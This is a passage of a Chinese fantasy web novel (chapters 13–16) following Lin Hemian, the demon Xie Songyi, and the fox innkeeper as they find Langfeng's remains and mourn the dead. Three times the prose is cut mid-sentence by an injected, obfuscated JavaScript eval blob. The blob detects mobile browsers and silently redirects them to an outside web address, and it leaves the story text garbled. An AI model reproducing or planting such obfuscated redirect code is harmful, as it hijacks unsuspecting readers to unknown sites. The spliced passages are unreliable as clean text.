不料书架后面的墙突然转动,一根绿藤从里面伸出来想要缠住他,林鹤眠反应快,躲过绿藤的攻击,藤蔓打在另一侧的书架上,木质书架直接被打成两半。 书哗啦啦的砸下来,木板被书压着,有些地方落了一地的木屑。 “糟了。”谢松意施法砍断藤蔓,将林鹤眠推离书架,收了他用来屏蔽气息和隐匿身形的法术,“你先走,我拖住他,你别卷入这件事。” 林鹤眠倒也听话,不料刚准备走,齐简身后便跟着一群目光呆滞的修士,而自己身上的法术也被人收回。 “林少侠,怎么和妖物一起来我烟帐山做偷鸡摸狗之事了?” 齐简的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014053|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音由远及近,面前的密道就那么窄,此刻站满了一群修士,哪里还有林鹤眠的落脚之处。 “我倒是想走,前面没路啊。” 林鹤眠退到谢松意身边,谢松意冷冷盯着那群修士,似乎在想什么,片刻后,他终于开口:“那就杀出一条路。” 杀出一条路? 林鹤眠心说对你来说挺简单的,对我来说要人命啊,这老头身后全是尸傀! 虽然林少侠对自己杀出一条路不抱信心,但还是召出自己的剑,把簪子丢给谢松意。 他可以是废物,但他有谢松意。 齐简肩上的蝎子突然甩了一下尾巴,林鹤眠有一瞬的失神,再回过神来时,发现谢松意挡在自己身前,已经撂倒一片尸傀了。 “不舒服?”谢松意斩断尸愧头颅,回过头问他。 林鹤眠摇摇头,挽了个剑花,刚抬脚却是一阵晕眩,他晃了晃脑袋,努力让自己保持清醒。 齐简已经冲过来了,谢松意要打尸傀还要打齐简,同时还要保证他的安全,打架基本全程围着他转。 剑刃碰撞发出的声音让林鹤眠短暂清醒,齐简肩上的蝎子依旧在晃尾巴。 林鹤眠抬手将一旁要袭来的尸傀腰斩,冲谢松意道:“杀了那只蝎子!” 谢松意抬眸,那蝎子却像能听懂人话似的,从齐简身上跳下来,径直钻进书架后的阵中。 谢松意并不想使出全力,这样只会让他暴露身份,装菜也就装的比林鹤眠强一点。 “能追么?”谢松意再次挡下齐简的攻击,问林鹤眠。 林鹤眠追着蝎子就进了法阵,回了他一句:“能追!记得找我。” 书架连着墙合上了,严丝合缝的,若这墙一直不动,根本就看不出它是一扇门。 林鹤眠走了,谢松意也不装了。 强大的妖力自他体内溢出,手中那把剑也散发出黑色的不详之气,齐简身后的尸傀被这浓厚的杀戮之气吓得撒腿就跑。 谢松意一个眼神,古兽威压直接将这些尸傀压成齑粉。 齐简施法抵御谢松意的威压,但谢松意只是将尸傀尽数剿灭便收了威压。 “我不会杀你,但那些毒术也不该留在你这里。”谢松意收了剑,施法拿回所有信封,“灵蝎一族的毒术,不是你想用就能用的。镇宗毒兽都要和妖融为一体才能被炼化,你又为何会觉得自己和那些宗门弟子没有妖辅佐便能完全掌握?” 齐简自知不是谢松意的对手,自然也不会主动去送死,如此强大的威压他前所未见,谢松意的身份定然不一般。 他皱眉盯了谢松意良久才缓缓开口:“你到底是谁?” 谢松意转身走向书架后面的墙,踏进法阵的前一秒,他回过头来,瞥了齐简一眼。 齐简本以为他要开口,但声音却在谢松意踏进法阵后才传出来。 那声音清冷,其中还不乏几分威严,齐简只听到一句话。 “我是这世间唯一寿同日月,亘古不灭的存在。” 长生。 这两个字在齐简脑海里一闪而过,他诧异的看着书架后那面已经没了动静的墙,手心不自觉的沁出汗来,背后更是一阵寒意。 怪不得他找不到杀了镇宗毒兽的人,原来谢松意杀它时,将毒兽与宗门的联系斩断了。 这镇宗毒兽本质是妖,随便斩断一个妖和宗门的联系,对长生来说,根本不在话下,况且他用的剑还是那把玉琳琅。 齐简呆滞的将目光移向书架后面的墙,突然笑起来,自己苦心经营才让烟帐山走到这一步,却终究是抵不过与生俱来的实力。 那种天生的强大,可以睥睨一切的资本,从来不属于烟帐山这些炼毒之人。 14. 第十四章 另一边的林鹤眠对外面发生的事毫不知情,他追到阵中就没再见到那只蝎子的踪影,怎么找都找不到。 说来也怪,这阵里竟是一副生机盎然的样子,不知道的还以为是齐简的后花园呢。 林鹤眠心想。 他越想越不对,这阵里是完全封闭的,若是眼前的花草都是幻境,那么他早应该看出来了,但他现在却看不出来。 而且,林鹤眠走到一条河流旁停下脚步,草丛里隐隐能看到一个白色的东西,林鹤眠用剑拨开草丛,发现一根肋骨长在地上。 他忽然想起什么似的,向前走了几百米,又在草丛下发现一根肋骨,他继续走,又看到一根肋骨。 最初的想法就此印证,这法阵连接的根本不是什么后花园,而是传闻中的“遗迹”。 遗迹分为“大妖”和“古兽”两种,它并非建筑,而是妖死后被巨大化的本体的尸体,里面通常是一片草地或者荒漠,河流也并非真正的河流,而是它们生前的记忆。 妖族有自己独特的处理同类尸体的法子,听说最初是火化,但后来用了另一种方法,至于什么法子,林鹤眠也不清楚。 但既然尸体能成为遗迹,那就说明这只妖生前修为不低,但既是妖,又怎会和烟帐山的阵法连在一起? 林鹤眠将目光投向那条河流,心说或许可以通过这只妖的记忆看一看。 所在河流的位置和能看到的记忆也有关系,林鹤眠直接走到河流尽头,他踩在水面上,周围的场景突然变化,一望无际的花园变成了一座白墙黑瓦的宅子。 宅子周围挂着大红灯笼,檐上残雪未消,灯笼一照,白玉般的雪竟生出一种暖黄色来。 院中有一棵红梅,花开的特别好,一看就是被人精心照顾的。 但林鹤眠觉得这段记忆不像是对方最后的记忆,刚想离开,却看到一个熟悉的身影朝自己走来。 那是谢松意。 紧接着,谢松意身后跳出一个人,那人林鹤眠也认得,是泛月。 谢松意和泛月一起朝他走过来,竟直接穿过了他的身体! 林鹤眠转身,发现自己身后站着老板,大门前又走进一个人,手里还带着几个包裹,老板见了,笑道:“怎么还给我送礼来了?” 那人也笑:“松意说人间过年都是这样,就给你带了几份礼。” 老板无奈叹气:“松意自幼便在人间生活,做事都是按人间规矩来的,哪能听他一句话就改了主意,按照妖族的规矩来便是。” 老板吩咐侍女收了送来的礼,刚要再说话,却被一个声音打断。 “怎么了这是?”屋内突然走出来一个人,那人剑目星眉,眼神凌厉,但看向老板时却总会带着一丝温柔,“今天都不见你对我说几句话,琅风这孩子一来,说了这么多。” “我看你也就整天惦记着我说几句话了,连这种醋都吃。”老板又叹气,“罢了,都进来吧,饭已经备好了。” 那人被老板这么说倒也不恼,只是笑笑,待谢松意一行人都进去了,自己才进了屋掩上房门。 林鹤眠穿过房门进去,里面正有说有笑。 “等过了年,我给松意造一把剑,白玉为柄,才配得上他。”这话是琅风说的。 “哥,我也要。”这是泛月。 自己妹妹都发话了,哪有不答应的道理,琅风笑着说:“好,给你也造一把。” 老板只是笑着看他们聊,偶尔停下筷子喝酒,喝完酒盘子里的菜就满了,都是他吃的比较多的。 林鹤眠心想许是他爱吃这些菜,所以那人给他夹了很多。 毕竟是过年,压岁钱当然也不能少,菜吃了一半,老板便放下筷子,许是因为有些醉了,懒得动弹,冲身边那人道:“阿璟,帮我把我放在屋里的那几份压岁钱拿过来吧。” 被唤作阿璟的人起身要走,却瞥见老板泛红的脸颊,临走前将他面前的酒盅拿走了。 压岁钱拿过来,递到三个孩子面前,琅风本是要拒绝的,但他看了老板一眼,顿了片刻,又收下了。 泛月偷偷笑他,对谢松意小声说:“我哥真是的,老板都一千两百多岁了,怎么算他都是小孩,该收就收嘛,居然还犹豫,说好的入乡随俗呢。” 谢松意低声道:“琅风哥入的不彻底。” 林鹤眠也笑,心说这泛月的哥哥确实入乡随俗入的有点不彻底。 不对,等会,老板多少岁?! 一千两百多??? 那谢松意他们不得给他叫太太太爷爷啊! 林少侠被这个年龄差惊到说不出话。 他扫了老板一眼,又看向阿璟,然后将谢松意他们一一打量了一番,恍惚间竟生出一种跨越时间的感觉。 他身处琅风的记忆之中,怎么不算一种跨越时间呢。 只不过他没想到,能在这里见到以前的谢松意和老板,还有如今那个随意任性的泛月。 一阵沉闷的脚步声从外面传来,林鹤眠从屋里迈出去,周围的场景顿时恢复成原来的样子。 “看到什么了?” 谢松意朝林鹤眠走来,林鹤眠走上河岸,道:“你和老板他们在过年。” 谢松意闻言,有些发怔。 过年啊,那年是他唯一一次去找老板过年,也是最后一次。 谢松意出神片刻,随后便笑起来,道:“你还挺会选,但凡换个地方都能看到一些不一样的。” “那我试试?”林鹤眠已经抬起一只脚。 谢松意拦着他,道:“别试了,把这尸体带回去吧。” 林鹤眠扫了一眼四周的景色,又想起那位名为琅风的妖,似乎还想再问什么,最终却没开口,而是将尸体收了。 尸体被收回,四周变得一片荒凉。 “泛月知道这件事,只是一直找不到尸体。” 谢松意突然开口,林鹤眠这才后知后觉的发现,自己又忘了谢松意总能看出他在想什么。 怎么会有妖跟有读心术似的啊! 不过他也真是佩服自己,说是来给拜长生的人收尸的,结果要收的尸体没收,反而收了一个不知道是什么成精的店小二的尸体和一只妖的尸体。 算了算了,反正都是尸体,而且总不能看着人家没人收尸,到最后死无葬身之地。 林鹤眠努力安慰自己。 他忽然想起琅风口中那把白玉为柄的剑,扭头看向谢松意,问道:“你那把剑……” 谢松意依旧记得当年说的话,林鹤眠提起他的剑,要问的也不外乎那几种,便一起说了:“是他造的,叫玉琳琅。” 林鹤眠心中突然生出一种难以言喻的感觉,琅风说谢松意要配这种剑,不知他的剑又是何模样,或许他根本就没有剑。 记忆中的谢松意那时应该还没有遭遇变故,如果他的生活可以一直这么持续下去,那三百年的孤寂,也就不会存在了,他也不会说出那句“习惯了”。 林鹤眠不是很喜欢这三个字,因为它将一些不该由谢松意承受的苦难轻描淡写的揭了过去,明明不该由他来承受的。 可说到底,命运无常,像谢松意这样的人,还有很多。 他不喜欢这样。 法阵中一片荒芜,林鹤眠和谢松意走在这一片莽苍之内颇为显眼。 那蝎子找不到,想来应该是逃出去了,林鹤眠干脆不找。 本来都要出法阵了,结果半路闯进来一个不速之客,还是从天上掉下来的,林鹤眠差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014054|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被砸到,匆忙闪身躲开。 谢松意看到有东西掉下来,后退一步,生怕砸到自己。 “嘶——”掉下来的姑娘揉了揉被摔到的胳膊肘,倒吸一口凉气,揉完她才抬起头,冲林鹤眠道:“疼了死我。林鹤眠,我可算找到你了,你用我教的隐身术跟踪掌门,你脑子被驴踢了是不是?” “我也不会别的隐身术了,富贵险中求嘛。我说宁然大小姐,咱消消气行吗?” “我消个屁!” 宁然几乎要骂出来,但她看到一旁的谢松意,想着给林鹤眠留点面子,也就把脏话咽了回去。 “算了算了。既然你们都到这阵里了,那一定见过他那群尸傀了吧?厉害吗,他炼的尸愧会放毒吗?” 林鹤眠:“……” 他都没杀几个怎么知道厉不厉害。 谢松意:“……” 为什么这姑娘的关注点这么奇怪。 林鹤眠不忍灭掉宁然眼里那种初生孩童般纯真好奇的目光,伸出食指指向谢松意,道:“问他,我就是来找蝎子的,尸傀全是他杀的。” 宁然把目光落到谢松意脸上,没想到谢松意只是回了一句:“杀的太快,不清楚。” 宁然摆摆手,刚才那种好奇的目光顷刻散去,转而成了一脸的不屑:“我还以为掌门大费周章的炼尸傀能炼出个什么好东西来呢,没想到这么弱。” 林鹤眠心说你要是知道谢松意有多强你就不会这么说了,尸傀被杀那是因为它们弱吗?分明是因为谢松意强,对咱俩来说打一群得半条小命都不保! 其实林鹤眠到现在都没搞清楚谢松意到底有多强,不过有一点他很明白,虽然谢松意实力不详,但好就好在这家伙遇强则强,无论什么情况都不会吃亏。 谢松意倒对宁然的吐槽毫不在意,他更在意那句“我以为”。 因为这说明宁然知道齐简在练尸傀。 “你知道他在炼尸傀,为何还要留在烟帐山,不怕他有朝一日把你也炼了,让你死了都不得安生?”谢松意问道。 “有几位长老护着我,我不会有事,哪怕将来死了也不会被掌门挖坟的。”宁然十分淡定,“他说过好多次要把我逐出师门,但有长老们在,他从未把这句话付诸实践。” “再说了,他把我视为眼中钉肉中刺,我不得搞点他的黑料偷偷藏着嘛。等哪天长老们都护不住我了,我把这黑料一爆,让他引起公愤,最后要么他死我活,要么同归于尽,反正谁都别想好过。” 林鹤眠觉得她这句话特别有道理,思路清晰逻辑通顺,为什么当初他不藏点自己师父的黑料? 林鹤眠有些后悔了。 但凡藏点他师父的黑料,说不定就能少被罚一次呢。 谢松意挑眉,他知道林鹤眠在想什么,就是不知道这想法是该夸还是该骂。 什么叫孝出强大,看看,这不就是嘛! 想来这个叫宁然的姑娘就是林鹤眠说的那位朋友了,这俩人能成为朋友,不是没有道理的。 谢松意转身离开,他并不想参与两个小孩子的孝子之争。 林鹤眠见他离开,抬脚跟上,还不忘招呼宁然一起:“我师兄走了,快跟上。” “师兄?”宁然不解,但依旧跟着林鹤眠走了,“你们烟帐山什么时候多了这么一号人物?” 其实是一号妖物,林鹤眠心想。 总不能告诉宁然他瞒着师父偷偷认了个师兄,便随便找了个借口敷衍过去:“早有了,只是藏的比较深,你可别说出去,我师父可疼我这个师兄了。” 见清要是知道他的好徒儿背地里说这种话,怕不是得气出病来。 背着他认师兄就算了,认的还是谢松意,你敢认,他敢收吗? 15. 第十五章 谢松意就听林鹤眠毫不心虚的扯瞎话,也不理会他们二人,带着他们走出法阵了。 法阵外直通烟帐山山脚,林鹤眠一看走出去了,想再上山,却被谢松意拦住。 “你师父暂时不会出事,齐简只是想变强不是没脑子。” 林鹤眠仔细一想,发现谢松意说的有道理,便和宁然告别,回泛月的客栈去了。 人都走了他才想起来不对劲。 好端端的宁然怎么会从天上掉下来? 宁然当然不会告诉林鹤眠她好不容易找到了法阵的阵眼结果走错了,人家都是从正门进的,她是倒着进来的,可不得从天上掉下来。 林鹤眠想了半晌也没想出个结果,最后干脆不想了。 回到客栈时天已经黑了,客栈一如既往的清冷,林鹤眠一进门就看到泛月拉着一张脸生闷气。 林鹤眠本想问她出是什么事了,没想到泛月先开口了:“可算回来了,你们在外面有没有见到什么奇怪的东西?” “没有。”谢松意回答的斩钉截铁。 泛月脸色更不好了,左手撑着下巴,右手来回拨算盘珠子,喃喃道:“没道理啊。” “出什么事了?”林鹤眠终于开口。 泛月收回拨算盘珠子的手,手指一点,地上便出现一具尸体,那尸体心脏的位置是空的,明显是被挖了心。 “黄昏的时候这具尸体突然出现在店门口,给我的客人都吓的不敢出门了,我找来找去都找不到其他妖的踪迹,只能先让客人们回房待着。” 要不是这荒郊野岭就她一家客栈,泛月都要怀疑是不是谁眼红她生意好故意整她了。 要真是这样她只能说对方挺眼瞎的,她这客栈一天都进不来十个人,算哪门子的生意好?那得生意多惨淡才会和她搞商业竞争啊。 不是的话,那就是有妖作祟了。 谢松意扫了那具尸体一眼,目光在心脏缺口处微顿,片刻后,他抬眸道:“先把这具尸体留着吧,说不定以后能看出些什么线索呢。” “也只能这样了。” 泛月抬手收了尸体,手还未落下,就听谢松意又说:“我们在烟帐山遇到一座遗迹。” 泛月知道这个“遗迹”是什么意思,忙问道:“是谁?” 其实她心底隐约有预感,她希望谢松意说出来的是那个名字,但又不希望真的是那个名字。 死无葬身之地和阴阳两隔,哪一个她都不喜欢,更何况那是她的亲哥哥。 但谢松意什么性子她也清楚,拐弯抹角和扭扭捏捏不是他的风格,对一些司空见惯的事很难有大反应。 “是琅风哥。” 泛月就知道谢松意会这么说。 可即便有心理准备,她尚未落下的手还是顿在半空,霎时红了眼眶,鼻尖传来的酸涩感让眼泪止不住的涌出来,却始终在眼眶里打转,硬是没让眼泪掉下来。 她的哥哥,自那一战,杳无音讯整整三百三十七年。 她以前总想着活要见人,死要见尸,甚至做好了无数次心理准备,可当真正见到她的哥哥时,她依旧会忍不住哭出来。 毕竟那是她的血亲,血浓于水,她体内流淌的血液和多年相处的感情不允许她在这一刻来临时像自己想象的那般强大。 以前哭了,哥哥总是第一个安慰她;现在哭了,哥哥却再也无法抬起手为她抹掉眼泪。 所以,哭有什么用呢,没用的。她哭一百次、一千次,哥哥也不会回来了。 泛月强压下心中的酸楚,她深吸一口气,五脏六腑都在疼,说话也带着微弱的哭腔:“我给老板传音,让他把我哥的尸体处理了吧” 谢松意微微点头,不再言语。 老板收到传信便匆忙赶来。 琅风的尸体被摆在池塘前,池塘边有两棵柳树,下面分别埋着泛月父母的骨灰。 不过,现在要变成三棵了。 老板催动妖力,明亮的火焰在已经变成一堆白骨的尸体上跳起来,不多时便将白骨烧的一干二净。 他又折下一枝绿柳,随手插在地上,柳枝竟长成了一棵柳树。 林鹤眠蓦地想起谢松意在后山将一朵海棠花变成花枝的法术,他嘴唇微张,却什么也没说。 泛月将骨灰装入早已备好的盒子中,埋在柳树下。 这一切都发生的很快,甚至不到一炷香的时间。 待泛月做完这一切,她才惊讶的发现,自己出奇的冷静,只是眼泪依旧在眼眶里打转。 “我出去走走。”泛月扔下一句话就走了。 谢松意见她离开,也走了,只剩下老板和林鹤眠就在这里。 “林少侠,既然找到了遗迹,想必一定看到了什么。”老板率先开口。 林鹤眠微怔,片刻后,他才开口:“我看到你和泛月他们在过年。” “竟然看到了这个。”老板话里带笑,“那是他们唯一一次来找我过年,也是最后一次。没过几个月,该死的、不该死的,全死了。” “我本来是想看他生前最后的记忆的,明明走到河流尽头了,却没看到。” “琅风这孩子就这样,他从来不会将最痛苦的记忆给别人看,更何况说不定将来看到这段记忆的人里可能有他的妹妹,所以他截断了河流尽头,只留下了最好的记忆。” 老板的语气很平淡,他像是在说一个与自己毫不相干的人。可人也好妖也罢,都是有心的,心都是软的,生离死别摆在眼前,老板却毫无触动。 “你好像不伤心?” “你说这个?”老板又笑,“你知道我刚才用的是什么火么?是九尾天狐一族才会有的九尾天火。” 林鹤眠听到最后四个字有一瞬的惊愕。 老板继续道:“九尾天狐是妖界天生的战士,为战而生,也为战而死。我们生来便具有可以焚尽一切的火,它不仅可以伤到别的妖,同时也可以伤到自己,所以每每开战,总免不了会有大规模伤亡。” “我们的每条尾巴都是一条命,九条可以复活九次。但最后一次战争,九尾天狐一族悉数死亡,耗尽了所有复活的机会。” “松意的祖父不忍,甚至不愿意让我死一次,他拼命保下我,我就此成了世间最后一只九尾天狐,而松意的祖父在松意出生不久便去世了。” 老板不知从哪里拿了一些鱼食,他将鱼食扔进池塘,几尾红色锦鲤纷纷游过去争相抢食。 “死亡,我见多了。慢慢的,我也对此变得麻木。直到后来某天,我发现无论是谁的死亡,都无法对我有丝毫触动,我彻底感受不到悲伤是什么了,甚至不再会产生这种情绪。” 老板将剩下的鱼食都扔进去,又道:“其实也可以说的更简单些——我成了一只感情不全的妖。” 林鹤眠的心突然猛地跳了一下。 一阵风吹来,他的衣襟随风晃动,连心也跟着颤动。 时间的消磨、对死亡的司空见惯造就了如今的老板。 那么谢松意呢? 他现在就是这副淡然不为所动的样子了,他以后也会这样么? 可他为什么会想到谢松意? 是因为那句每每想起都觉得心如绞痛般的习惯了?还是只是单纯的关心? 林鹤眠不清楚。 他只知道自己不想听谢松意说习惯了,也不想见到谢松意变成这样子,他更想见到的,是后山海棠树下那位谢公子。 他觉得那样的他,才是有血有肉,是一条真正会被喜怒哀乐聚散离合触动的、鲜活的生命。 人也好妖也罢,既生于天地间,总该是要见到一些阴晴圆缺的,但见过之后,不应该是变得麻木。 他不想让谢松意变成老板这样。 他不喜欢,这样不好。 一股酸涩感在林鹤眠心底升起,老板依旧在看塘中的锦鲤争相抢食。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014055|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林鹤眠突然觉得,老板似乎永远都是一个局外人,独立于所有悲喜之外。 他长身玉立站在池塘边,那一瞬,林鹤眠仿佛看到了琅风记忆中三百年前那个在饭桌上笑而不语的老板。 他沉默不言,就这么看着别人的热闹,明明是在同一间屋子,却无形中将自己分割出去。 悲欢离合,与他无关。 那种酸涩的情绪越来越强烈,林鹤眠攥紧手指,眼前人分明是老板,脑海中出现的,却是谢松意的脸。 谢松意在烟帐山对他说让他先走,不要卷进这件事,可他既然跟过去了,就注定要卷进来。 之前斩杀镇宗毒兽,他一剑便让对方化为灰烬。出了这么大的事,烟帐山掌门怎么可能不知道,但对方却没有丝毫动作,许是谢松意从中做了什么。 他一直都在避免让自己被他连累,就连茶楼初见时,那伙贼人被从楼上扔下去他都是护着的。 可偏偏他这样细心的妖,快变成了一只感情不全的妖。 从客栈到瘴山,他从未见过谢松意有太大的情绪波动,即便是见到了琅风的尸体,也只是说了一句把尸体收了送回去。 泛月见到琅风尸体忍着眼泪说让老板过来时,谢松意是怎么样的心情呢? 或许只是又见到一个故人,虽然对方已经与世长辞,他在心中感慨世事无常? 又或是早有预料,甚至因为见的多了不需要心理准备也能冷静对待? 林鹤眠不清楚谢松意到底在想什么,但至少,不该是无动于衷。 “林少侠,起风了,先回屋吧。” 老板的声音将林鹤眠唤回神,林鹤眠这才发觉有些冷了,他抬脚要走,却看到老板一动不动的站在池塘边赏月。 “您不走?” 话音刚落,一股妖气自院外冒出,紧接着便是一个带着奶气的女声:“救命!” 老板抬眸的那一瞬便到了声音传出来的地方,林鹤眠匆忙跟上,赶过去时却见老板收了八团狐火,面前是一团被火烧成黑块的东西。 九尾天狐有九团狐火,老板却只有八团,这说明他只有八条尾巴。 林鹤眠微怔:“您的尾巴……” 老板轻抚着身旁小女孩的脑袋,很平静的说:“拿去救人了,还会长回来的,不碍事。” “是那位阿璟么?” 老板听到“阿璟”二字,抬眸看向林鹤眠,笑道:“林少侠,准确来说,你该称他为忠毅将军。你这般唤他,若是被他听到,该生气了。” “这个我知道。”小女孩插了一句,“我听哥哥说过的,三百多年前有位将军,收复了当时被占领的三百里国土,可惜最后一战班师回朝的路上他旧伤复发不治身亡了。” “是三百三十七年前。”老板纠正小女孩那个微不足道的错误。 小女孩顿时眼睛一亮,她盯着老板,眼睛弯成了月牙。 “大哥哥,你记得好清楚。” 老板又笑:“记忆力好罢了。” 他什么都可以忘,唯独有一个人不行。 阿璟很少和他说什么甜言蜜语,而老板也并不在意这些。 阿璟当年笑着对他说:“若我死了,我的名字,当然要留给夫人,但我一定会让剩下的百里国土回归大衍。” 老板当时也只是笑笑。 但是后来,名字真的留给他了,最后一百里国土也回归大衍。 此后至今,三百三十七年无人敢犯。 阿璟不在了,他当然要帮阿璟记清楚时间。 “真好。”小女孩露出羡慕的神色,“要是我的记忆力也这么好就好了,哥哥就不用这么辛苦了。” 林鹤眠环顾四周,没见到旁人的身影,连气息都感受不到,便问小女孩:“你既然有哥哥,为何独自一人在这里?” “我走丢了。哥哥说他有事要做,但太阳落山了都没回来,我只好出来找他了。” 16. 第十六章 老板扫了小女孩一眼,又看向林鹤眠,林鹤眠会意,放出一只传音蝶给谢松意,自己也施法找人。 小女孩拍手称赞:“你们也是修士吗?我哥哥也是,他也很厉害。” 林鹤眠施法找了一圈,愣是没找到个人影,他收了法术,问小女孩:“你和哥哥住在哪里,他长什么样子,你可还记得?” “我想一下……” 小女孩眨巴着那双清澈的大眼睛,盯着林鹤眠看了半晌,林鹤眠还以为这孩子能说出什么话呢,结果回了他三个字:“我忘了。” 林鹤眠:“……” 老板看出这孩子不对劲,便问道:“你叫什么名字?” 小女孩摇摇头:“我没名字,不过也可能是忘了。” 老板微微蹙眉,林鹤眠也看出了这孩子的不对劲,便不再问下去。 小女孩打了个哈欠,她揉了揉眼睛,问道:“大哥哥,我好困,我可以睡觉么?” 老板笑道:“当然可以,不过你睡了,你哥哥怎么办?” 小女孩已经有要睡着的征兆了,说话含糊不清的,不过依稀可以听出是什么:“他说我丢了就在安全的地方等他,他会找我。这里安全。” 林鹤眠心说真是说睡就睡啊这孩子,而且心也不是一般的大,是真不怕他和老板是坏人,趁她睡着把她拐走卖了。 老板抱起半睡半醒的小女孩,朝客栈偏了偏头,示意林鹤眠先进去。 小兔妖给小女孩安排了一间房,老板担心晚上出事,干脆不走了,直接住在泛月的客栈。 林鹤眠也没走,他总觉得这小女孩不是一般的古怪,便和老板一起在屋子里待着。 两人在同一屋子,一直不说话是不可能的,最后还是老板见林鹤眠一直盯着他,才开了口:“林少侠,我这张脸你看一夜都不会看出东西来的,别看了。” 言下之意有问题就问。 林鹤眠小动作被发现,倒也没找理由搪塞过去,只是换了一个问题:“您可有看出这小女孩的古怪?” “你想问的真是这个?” 林鹤眠心说当然不是,但我总不能问为何将军明明被救还是会旧伤复发身亡吧? 那不是往你心窝子上捅刀,完事了再撒把盐吗? 老板见他换问题了,心说你这孩子还挺会考虑别人,然后……然后给林鹤眠来了一个答非所问。 “别装了,你想问什么我还不清楚么?我都一千七百多岁了,什么能瞒得过我?” 老板帮小女孩掖好被子,继续道:“我救他是很早之前了。他命中该有那一劫,但不该死在那里,所以我自断一尾救了他。” 林鹤眠知道老板会这么说,但他看到老板若无其事的样子,却还是忍不住会觉得心酸。 自断一尾,这种痛不是谁都受得起的。 老板甚至可以为了救他的爱人自断一尾,可他偏偏被时间与过往消磨成了感情不全的妖,他的爱人去世时,或许对感情不全的他来说是好事? “那他去世的时候……”林鹤眠不自觉放低了声音,似乎是怕声音太大更容易勾起老板不好的回忆。 “那时出了变故,我没来得及救他,不过我也不准备救他。” 老板看向窗外,一轮明月正高悬在夜幕之中,皎洁明亮,倒颇似成婚那晚的圆月。 “阿璟曾对我说,战死沙场是他的宿命,寿终正寝是他的幸运,所以我不会再救他,他也不希望我再救他。” “其实得知他去世的消失时,已经是出殡那天了,我并没有感到悲伤,向往常一样为他送葬后便没再去过将军府。” 其实说来也巧,那天他正在泛月的客栈养伤,刚好来了两位顾客讨论起阿璟出殡的事,他这才知道原来在自己出生入死的同时,他一直盼望着归来的人早已魂归地府。 那天下着绵绵的细雨,他到将军府时,府中仆人早已被遣散,正逢起棺出殡,那些来送葬人并未见过他,包括圣人。 圣人下令将阿璟葬入皇陵,去皇陵的路上偶尔有不成气候的妖出没吓唬人,保险起见,便请了几个修士护棺。 那天他并未遮住妖气,修士一眼就认出他的身份,命令身后的两个小修士护好棺椁,明明自己被他身上浓厚的妖气吓得要死,却依旧壮着胆子上前,颤颤巍巍道:“不知阁下来此所为何事?” 老板第一次思考这个问题。 以前阿璟总说,明明都嫁给他了,却不喊他夫君;明明自己都喊他夫人了,老板却总喊阿璟。 所以那句话他只说了一次,他对那位修士说:“我来为我夫君送行。” 老板从回忆中抽身,见林鹤眠抿着唇一言不发,便道:“林少侠,感情不全对我来说有时也并非坏事。我都快两千岁了,该见的不该见的都见的差不多了,像这样不被离别束缚的活下去,对我而言很好。” “他也这样。”林鹤眠喃喃自语,“可他才三百岁。” “你说松意?”老板顿了顿,仿佛想到了什么,片刻后,才继续说:“他确实也这样。不过他还太年轻,不该变成我这样。” 老板又道:“其实如果你想,你可以试着改变他。” 林鹤眠有一瞬的触动,他瞪大双眼,看向老板,突然觉得,自己之前在谢松意身上见到的那种时间的流逝,和在老板身上见到的比起来,微不足道。 那么他想改变谢松意么? 他当然想。 至少,他不该变成老板这样。 窗外突然响起一阵轰鸣声,老板化成一道白影从房间里飞了出去,林鹤眠紧随其后。 老板刚落地,一道浓厚黑色雾气便冲过来,他掌心燃起一团火焰,竟直接从焰核中抽出一把血色长剑。 一道红光凭空划过,黑色雾气烟消云散,紧随其后的是一位浑身散发着妖气的少年。 老板并不想对他下死手,剑刃碰撞的声音不绝于耳,少年疯了魔般劈向老板。 招招致命,却被老板一一挡下。 林鹤眠想出手,但他看出老板有意不伤对方,怕自己贸然出手伤了少年,只能干着急。 少年再次劈向老板,老板眸中闪过一抹红光,灼热的火焰霎时燃起,逼的少年向后退去。 少年不得已将目标换成林鹤眠,林鹤眠召出剑就要接下他的招式,不料一柄白玉剑突然飞来,直接横亘在二人中间,上面带着的强大妖力直接将二人震得后退了好几米远。 “都住手!” 一个熟悉清冷的声音从身后传来,林鹤眠回眸,发现谢松意和泛月正一前一后的走过来。 少年不屑的“嘁”了一声,对这句话十分不满。 准确来说,他对在场的所有人和妖都有不满。 少年虽有不满,却还是收了妖力,没再攻击林鹤眠。 泛月冲他翻了一个白眼,道:“你要是有能耐,就把我这客栈拆了。拿着妖丹给的力量打我们,嘴里还喊着妖物该死,那你还要这妖丹做什么,有本事别用啊!” 少年被泛月的话噎住,他抿了抿唇,似乎是想说什么,但终究没开口。 “松意,这到底是怎么回事?”老板看向谢松意。 谢松意瞥少年一眼,叹气道:“事情是这样的……” 